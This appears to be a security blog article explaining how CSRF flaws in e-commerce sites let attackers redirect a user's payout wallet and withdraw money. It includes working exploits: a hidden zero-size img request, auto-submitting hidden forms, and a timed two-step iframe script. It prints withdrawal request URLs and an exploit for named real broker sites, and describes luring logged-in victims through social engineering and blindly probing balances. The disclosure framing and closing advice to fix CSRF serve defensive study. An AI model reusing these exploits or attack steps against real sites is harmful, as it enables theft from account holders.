Websecurity - Веб безпека

 

Eugene Dokukin aka MustLive

Cross-Site Request Forgery (CSRF) vulnerabilities can be used for different nasty things, but the most dangerous one is stealing of money from users’ accounts. Which I’ll tell you about in this article.

Among vulnerabilities found in web applications there are logical vulnerabilities such as Business Logic flaws. Which allows an attacker to manipulate financial data in web applications, such as the ones used for online-banking, EPS and other e-commerce sites.

There are two types of Business Logic flaws: server-side and client-side. First one allows the user of the site to manipulate the site’s functionality to increase his finances, second one allows an external attacker to manipulate the site’s functionality to increase his finances, by decreasing finances of the user of the site. And I have found both types of such vulnerabilities many times since 2005.

Taking into account that Business Logic flaws are logical vulnerabilities, then they belong to the class Abuse of Functionality (WASC-42) [1]. It is the server-side type. The attack occurs at special using of functionality of the site, which was not expected by its developers.

But besides server-side Business Logic vulnerabilities, there are also client-side ones. Which belong to the class Cross-Site Request Forgery (WASC-09) [2]. The essence of such attack comes from conducting a CSRF-attack on the user with the purpose of manipulation of his finances (and functionality of the site being used exactly as it was intended by its developers). And the second type of these vulnerabilities is more widespread then the first one.

Example of Business Logic CSRF.

Example of such vulnerability, which I happened to meet many times at different e-commerce sites, it’s manipulation with withdrawing of money to electronic wallets. (i.e. abusing occurs of the functionality for withdrawing of money from a user’s account.)

With the existence of CSRF vulnerabilities at the site, the scenario of the attack will be the next:

1. Conduct CSRF-attack on the user, to change his wallet (e.g. WebMoney, PayPal, etc.) to attacker’s wallet.

2. Conduct second CSRF-attack on the user to initiate withdrawing of money (to wallet specified in the account).

Usually two steps of the attack (two requests) are required, because process of changing the wallet and withdrawal of money is divided into separate functionalities. But if at a vulnerable site these two operations are joined into one functionality, then it’s possible to send one request - for withdrawal of money to a specified wallet.

In two steps scenario the attack will be the next:

1. Send request to change the wallet:

http://e-commerce/user?wallet=attackerwallet

2. Send request to withdraw money:

http://e-commerce/user_money?withdraw=1

In one step scenario the attack will be the next:

1. Send request to change the wallet and withdraw money:

http://e-commerce/user?wallet=attackerwallet&withdraw=1

For these tasks it’s also possible to use XSS vulnerabilities. Including the existence of protection against CSRF attacks at the site, it’s possible to bypass this protection via XSS. But if the owners of the web sites sometimes protect them from XSS, then they protect them from CSRF much more rarely. So a CSRF attack will be enough for withdrawal of money from an user’s account.

Creating of CSRF-exploits.

For creation of CSRF-exploits, my tool CSRF Generator [3] can be used. It supports one-request and multi-request CSRF-attacks, GET and POST types of requests and timing for multi-request attacks. In case of GET requests the CSRF-attacks can be conducted by many html tags, particularly img and form tags, and in case of POST requests the CSRF-attacks can be conducted only by form tag. It concerns pure-html methods, besides those there are also methods with use of JavaScript to send requests (XHR for on-site requests and Cross-Site XHR for cross-site requests), which also can be used for CSRF-attacks.

For the above-mentioned one step and two steps scenarios the exploit code will be the next. These examples of CSRF-exploits were created with my CSRF Generator, which can be used for creating PoCs and exploits during security researches and security audits.

For one step scenario:

1. GET method with using of img tag:

<img src="http://e-commerce/user?wallet=attackerwallet&withdraw=1" width="0" height="0">

2. GET method with using of form tag:

<body onLoad="document.hack.submit()">
<form name="hack" action="http://e-commerce/user" method="get">
<input type="hidden" name="wallet" value="attackerwallet">
<input type="hidden" name="withdraw" value="1">
</form>
</body>

3. POST method with using of form tag:

<body onLoad="document.hack.submit()">
<form name="hack" action="http://e-commerce/user" method="post">
<input type="hidden" name="wallet" value="attackerwallet">
<input type="hidden" name="withdraw" value="1">
</form>
</body>

For two steps scenario:

The attack can be made via GET or POST method with using of form tag (the code will be similar). Here is example for POST method with using of form tag (with timing):

<body onLoad="StartCSRF()">
<script>
function StartCSRF() {
for (var i=1;i<=2;i++) {
var ifr = document.createElement("iframe");
ifr.setAttribute(’name’, ‘csrf’+i);
ifr.setAttribute(’width’, ‘0′);
ifr.setAttribute(’height’, ‘0′);
document.body.appendChild(ifr);
}
CSRF1();
setTimeout(CSRF2,1000);
}
function CSRF1() {
window.frames["csrf1"].document.body.innerHTML = ‘<form name="hack" action="http://e-commerce/user" method="post">\n<input type="hidden" name="wallet" value="attackerwallet">\n</form>’;
window.frames["csrf1"].document.hack.submit();
}
function CSRF2() {
window.frames["csrf2"].document.body.innerHTML = ‘<form name="hack" action="http://e-commerce/user_money" method="post">\n<input type="hidden" name="withdraw" value="1">\n</form>’;
window.frames["csrf2"].document.hack.submit();
}
</script>
</body>

If different functionalities at the site (changing wallet and withdrawing money) work via different methods - one via GET and other via POST - then the exploit should be made accordingly. It can be setup by changing the value of the “method” property in above-mentioned code.

Timing at CSRF-attacks.

Multi-steps (multi-request) attacks on CSRF vulnerabilities are more complex and timing is very important in these cases. Because, for example in the two steps scenario it’s needed to change the wallet first (on attacker’s one) and only then to make withdraw. If using img tag, then there is no guaranteed timing, because a browser can start downloading images (from img tags) not in the appropriate order and attack will fail. And in case of any order of images requests, it’s possible that a request to a second image will be processed by the server earlier, then request to first image.

For this reason it’s better to make multi-request CSRF-attacks via form tag and with using timeouts (such as 1 second, as in my examples above), which can be made by using JavaScript. Such exploits with timing for successful CSRF-attacks can be easily created using my CSRF Generator.

Real examples.

There are a lot of e-commerce web sites with such Business Logic vulnerabilities, which can be triggered via CSRF (for stealing money from accounts and payment cards). And in previous years I’ve disclosed such vulnerabilities at many e-commerce sites.

Let’s look at vulnerabilities at web brokers. I know many such services and have found many vulnerabilities at them, such as XSS, CSRF, SQL Injection and others (including Business Logic CSRF). In particular I’ve found Business Logic vulnerabilities, among hundreds of different vulnerabilities, at web brokers www.prospero.ru, www.propage.ru, procontext.ru and seopoint.ru - these are all services of Russian broker Prospero (the last two sites are already closed, so attacks can only be conducted on first two sites). Business Logic vulnerabilities were similar at all these web sites.

Business Logic vulnerability at www.prospero.ru [4] (which I’ve found in 2006 and disclosed in December 2010) is the next:

http://www.prospero.ru/balance.php?money_out=1&pay_type=webmoney_rus&webmoney_rus_summa=1000&money_out_type=express&r_purse=R

By this request the attacker will withdraw from a victim’s account the sum of 1000 rubles to his WebMoney R-wallet. The type of withdrawal is set in the parameter “money_out_type” - usually or express (the type “express” is faster, but with more comission). R-wallet is set in the parameter “r_purse”. Format of wallet’s number is “R000123456789″.

Business Logic vulnerability at www.propage.ru [5] (which I’ve found in 2007 and disclosed in December 2010) is the next:

http://www.propage.ru/balance.php?money_out=1&pay_type=webmoney_rus&webmoney_rus_summa=1000&money_out_type=express&r_purse=R

By this request the attacker will withdraw from a victim’s account the sum of 1000 rubles to his WebMoney R-wallet.

At both web sites the attack can be conducted via POST or via GET request. Here is the exploit for www.propage.ru using GET request:

<img src="http://www.propage.ru/balance.php?money_out=1&pay_type=webmoney_rus&webmoney_rus_summa=1000&money_out_type=express&r_purse=R000123456789" width="0" height="0">

Conducting of CSRF-attacks.

The exploit needs to be placed at attacker’s site. And it must be hidden: the exploit with img tag can be placed at pages directly (because image with zero dimensions is hidden) and the exploit with form tag can be placed in an external html-file, embedded in a hidden iframe.

Then the attacker needs to force a victim (which must be logged in his account) to visit the page with exploits - by use of social engineering. And it’s not a hard task. After visiting of such page, the victim will not see anything suspicious, only content from a web page for distracting attention, while the attack will be hiddenly conducted. Which will withdraw money from a victim’s account to attacker’s wallet.

To get money from a user’s account the attacker needs to withdraw the exact sum which exists on the account. If he knows for sure that this user has the necessary sum, then he can withdraw it, but when he doesn’t know the exact sum on the account, then he can make sequence of requests with different sums (from large to smaller ones) to try to find the right sum for withdrawing from that account. Which can be done via multi-request CSRF-attack and such exploit can be easily made with my tool. When using XSS it’ll be possible to find what current sum is on the account before withdrawing, and when using CSRF the attack is doing blindly, but with multi-request approach it can be done.

Conclusion.

Cross-Site Request Forgery vulnerabilities can be used for different attacks. From small things like remote log-out of the user, to dangerous things like stealing of user’s money. So they must be not misunderstood and all web developers and administrators of web sites, especially e-commerce ones, should always fix CSRF vulnerabilities (as any other vulnerabilities).

References:

1. Abuse of Functionality (http://projects.webappsec.org/Abuse-of-Functionality).
2. Cross-Site Request Forgery (http://projects.webappsec.org/Cross-Site-Request-Forgery).
3. CSRF Generator (http://websecurity.com.ua/csrf_generator/).
4. Business Logic vulnerabilities at www.prospero.ru and procontext.ru (http://websecurity.com.ua/4770/).
5. Business Logic vulnerability at www.propage.ru (http://websecurity.com.ua/4779/).